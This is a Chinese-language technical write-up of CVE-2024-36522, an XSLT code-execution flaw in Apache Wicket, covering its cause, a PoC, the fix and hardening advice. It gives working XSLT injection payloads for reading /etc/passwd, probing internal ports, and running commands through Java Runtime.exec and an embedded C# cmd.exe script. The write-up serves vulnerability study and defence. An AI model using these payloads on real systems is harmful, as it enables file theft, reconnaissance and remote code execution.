Apache Wicket 爆出的XSLT 代码执行漏洞
字数 1551 2025-08-22 22:47:39
Apache Wicket XSLT 代码执行漏洞分析与利用指南
漏洞概述
漏洞编号: CVE-2024-36522
影响版本: Apache Wicket 9.18.0 与 10.1.0 之前的版本
漏洞类型: XSLT 代码执行
危害等级: 高危
影响: 攻击者可构造恶意请求执行任意代码,控制服务器
XSLT 基础知识
XSLT (Extensible Stylesheet Language Transformations) 是一种用于将 XML 文档转换成 HTML、文本或其他 XML 文档的语言,基于 XPath 和 XSL,是 W3C 定义的标准。
基本语法元素
xsl:stylesheet: 根元素,定义转换的基本信息xsl:template: 定义转换模板,包含匹配模式和模板规则xsl:for-each: 迭代 XML 文档中的节点集合xsl:if,xsl:choose,xsl:when: 条件语句xsl:value-of: 输出 XML 节点的文本内容xsl:variable: 定义变量xsl:param: 定义参数xsl:include,xsl:import: 包含或导入其他 XSLT 样式表
漏洞利用技术
1. 信息泄露
system-property() 函数
可用于返回系统属性值,造成信息泄露:
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:value-of select="system-property('xsl:vendor')"/>
</xsl:template>
</xsl:stylesheet>
可泄露的属性包括:
xsl:vendorxsl:vendor-urlxsl:version
2. 文件读取
document() 函数
用于访问外部 XML 文档中的节点,可读取任意文件:
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('/etc/passwd')"/>
Fruits:
<xsl:for-each select="fruit">
- <xsl:value-of select="name"/> : <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
3. 端口探测
利用 document() 函数进行网络探测:
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('http://172.16.132.1:25')"/>
Fruits:
<xsl:for-each select="fruit">
- <xsl:value-of select="name"/> : <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
4. 远程代码执行 (RCE)
XSLT 处理器如果不禁用,能将本机 Java 语言方法暴露为 XSLT 函数,导致任意代码执行:
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
5. 嵌入脚本区块执行代码
嵌入的脚本区块是专有的 XSLT 扩展,可以直接在 XSLT 文档中包含代码(如 C#):
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:template match="/fruits">
--- BEGIN COMMAND OUTPUT ---
<xsl:value-of select="user:execute()"/>
--- END COMMAND OUTPUT ---
</xsl:template>
</xsl:stylesheet>
6. 外部文件引入
利用 import 和 include 引入外部恶意文件:
<xsl:import href="malicious.xsl"/>
<xsl:include href="malicious.xsl"/>
漏洞环境搭建
在 Maven 项目中添加存在漏洞的依赖:
<dependencies>
<dependency>
<groupId>org.apache.wicket</groupId>
<artifactId>wicket-core</artifactId>
<version>9.16.0</version> <!-- 存在漏洞的版本 -->
</dependency>
</dependencies>
漏洞分析
漏洞主要存在于 XSLTResourceStream 类的构造函数中:
public XSLTResourceStream(final IResourceStream xsltResource, final IResourceStream xmlResource) {
try {
javax.xml.transform.Source xmlSource = new javax.xml.transform.stream.StreamSource(
xmlResource.getInputStream());
javax.xml.transform.Source xsltSource = new javax.xml.transform.stream.StreamSource(
xsltResource.getInputStream());
out = new ByteArrayOutputStream();
javax.xml.transform.Result result = new javax.xml.transform.stream.StreamResult(out);
javax.xml.transform.TransformerFactory transFact =
javax.xml.transform.TransformerFactory.newInstance();
javax.xml.transform.Transformer trans = transFact.newTransformer(xsltSource);
Map<Object, Object> parameters = getParameters();
if (parameters != null) {
for (Entry<Object, Object> e : parameters.entrySet()) {
trans.setParameter(e.getKey().toString(), e.getValue().toString());
}
}
trans.transform(xmlSource, result);
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
IOUtils.closeQuietly(xmlResource);
IOUtils.closeQuietly(xsltResource);
}
}
关键点:
- 未对 XSLT 文件进行安全限制
- 直接使用
TransformerFactory.newInstance()创建转换器 - 允许执行外部 Java 方法
漏洞复现 POC
import org.apache.wicket.util.resource.FileResourceStream;
import org.apache.wicket.util.resource.IResourceStream;
import org.apache.wicket.util.resource.XSLTResourceStream;
import java.io.File;
public class Main {
public static void main(String[] args) {
IResourceStream xstlStream = new FileResourceStream(
new File("poc.xml"));
IResourceStream xmlStream = new FileResourceStream(
new File("poc.xml"));
XSLTResourceStream stream = new XSLTResourceStream(xstlStream, xmlStream);
}
}
POC.xml 文件内容:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
漏洞修复
官方在 9.18.0 与 10.1.0 版本中修复了此漏洞,主要修复措施:
- 在
XSLTResourceStream构造函数中新增了defaultTransformerFactory方法 - 设置了安全解析 XML 文件,默认禁用扩展函数
- 禁止使用外部 Java 方法(如 Runtime 执行系统命令)
修复后的关键代码:
TransformerFactory transFact = defaultTransformerFactory();
防御建议
- 升级到 Apache Wicket 9.18.0 或 10.1.0 及以上版本
- 如果无法立即升级,应限制 XSLT 文件来源,只允许受信任的来源
- 配置 XSLT 处理器禁用外部实体和扩展函数
- 实施输入验证,过滤恶意 XSLT 内容
- 使用安全配置的 TransformerFactory:
TransformerFactory factory = TransformerFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
总结
Apache Wicket XSLT 代码执行漏洞 (CVE-2024-36522) 是一个高危漏洞,攻击者可以通过构造恶意 XSLT 文件实现任意代码执行。该漏洞利用了 XSLT 处理器的扩展功能,特别是调用 Java 方法的能力。开发人员应及时升级到修复版本,或实施适当的安全措施来缓解风险。